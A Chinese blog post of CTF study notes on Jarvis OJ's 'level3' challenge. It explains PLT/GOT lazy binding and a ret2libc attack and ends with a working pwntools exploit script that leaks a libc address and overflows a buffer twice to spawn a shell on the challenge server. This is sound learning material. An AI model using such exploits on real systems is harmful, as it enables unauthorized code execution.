Jarvis Oj Pwn 学习笔记-level3

你们期待的Libc终于来了~(return_to_libc attack)

跪呈链接:

https://files.cnblogs.com/files/Magpie/level3.rar

nc pwn2.jarvisoj.com 9879

checksec,依旧老样子:

端起IDA,elf和libc双双扔进锅里:

先看elf:

阔以阔以,libc类题目该有的函数(话说貌似有write一个就够了...)都有了~当然该没有的(当然是指system)也确实没有。。

好,主要原因是因为本人就是个菜鸡所以还是决定把libc类pwn题的具体思路婆婆妈妈一波:

首先,有一类函数,我们称之为库函数,他们已经编译在了libc库中,供需要时调用(有些类似于Windows动态链接库)。

libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。

由于本人水平太菜==暂时还搞不清楚libc在换了另一个系统时的调用情况是否兼容(相关的坑以后再填~),但是有一点可以确定:

程序开始运行时,会把整个libc映射到内存中,此后在程序调用相关库函数时,会依据plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能,具体机制我们下面讲一下(PLT-GOT表):

PLT:内部函数表

GOT:全局函数表

完整调用链:Call->PLT->GOT->Real_RVA

转一篇简书的博文(https://www.jianshu.com/p/6626a866ad66)——@xiaobaozi

########################################################################

GOT表和PLT表:

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

延迟绑定:

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序

下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:

bar@plt:

jmp bar@got

patch bar@got

这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。

作者:xiaobaozi
链接:https://www.jianshu.com/p/6626a866ad66
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

#########################################################################

更多相关plt和got表内容参见《深入理解计算机系统》;好我们接着讲:

跟进去:

这就是plt表,再跟一下就进了got表项:

双击跟一下后面的offset,发现是有一个静态的初始地址的,然而显然这不是真正的函数地址:

plt表里做了一个jmp,注意jmp跳到的地址是804a00c处存的地址而不是804a00c(804a00c就是got表项的索引地址,其处存的地址值就是表项内容即库函数的真实地址!)

即下面的 dd offset read 这个值才是jmp的目标地址,附一个汇编语法:ds:[eax] 值为eax的值,即指针,而ds:eax 值为eax存储的地址处的值

ds是指data segment,dd是双字,占四字节

下面的仅是本人的理解和猜测,不一定保证正确:

第一次跳到extrn就做了声明,将 dd offset read 改写为真实VA值,即与上面转载的博客讲的首次调用对应。

也就是说,不考虑第一次,GOT表存的就是真实地址!!!!

即0x804A00C处的值就是函数真实地址!!!

现在大体基础原理已经介绍完了,我们继续分析这道pwn题目:

由于libc_raw里的地址和虚拟内存中的VA是平行映射的,所以......

先通过write泄露某函数got表的值(即某函数真实VA),然后在IDA中找到system和"/bin/sh"和某函数地址,算出偏移,根据平行的特性就可以计算出真实的system和"/bin/sh"的地址啦~

之后,all matters done!

注意,需要两次溢出!第一次溢出劫持到write泄露地址,write执行完后还要能回到源溢出函数(构造栈),然后进行第二次溢出拿shell

原理明白了,我们看exp:

 1 from pwn import *
 2 context(arch = 'i386', os = 'linux')
 3 r = remote('pwn2.jarvisoj.com', 9879)
 4 junk='A'*140
 5 rtwrt='\x40\x83\x04\x08'
 6 rtfun='\x4b\x84\x04\x08'
 7 leakstk='\x01\x00\x00\x00'+'\x0c\xa0\x04\x08'+'\x04\x00\x00\x00'#write函数的参数:1 stdout   \x0c\xa0\x04\x08 got表地址    4 读四个字节
 8 payload=junk+rtwrt+rtfun+leakstk
 9 r.recvuntil("Input:\n")
10 r.send(payload)
11 b=r.recv(4)
12 readadr=u32(b)
13 print hex(readadr)
14 offset_sys=0x00040310-0x000daf60
15 offset_cmd=0x0016084c-0x000daf60
16 s=readadr+offset_sys
17 c=readadr+offset_cmd
18 payload='A'*140+p32(s)+'BBBB'+p32(c)
19 r.send(payload)
20 r.interactive()

BINGO!!

posted @ 2018-05-31 17:46  Magpie#Canary  阅读(790)  评论(0编辑  收藏  举报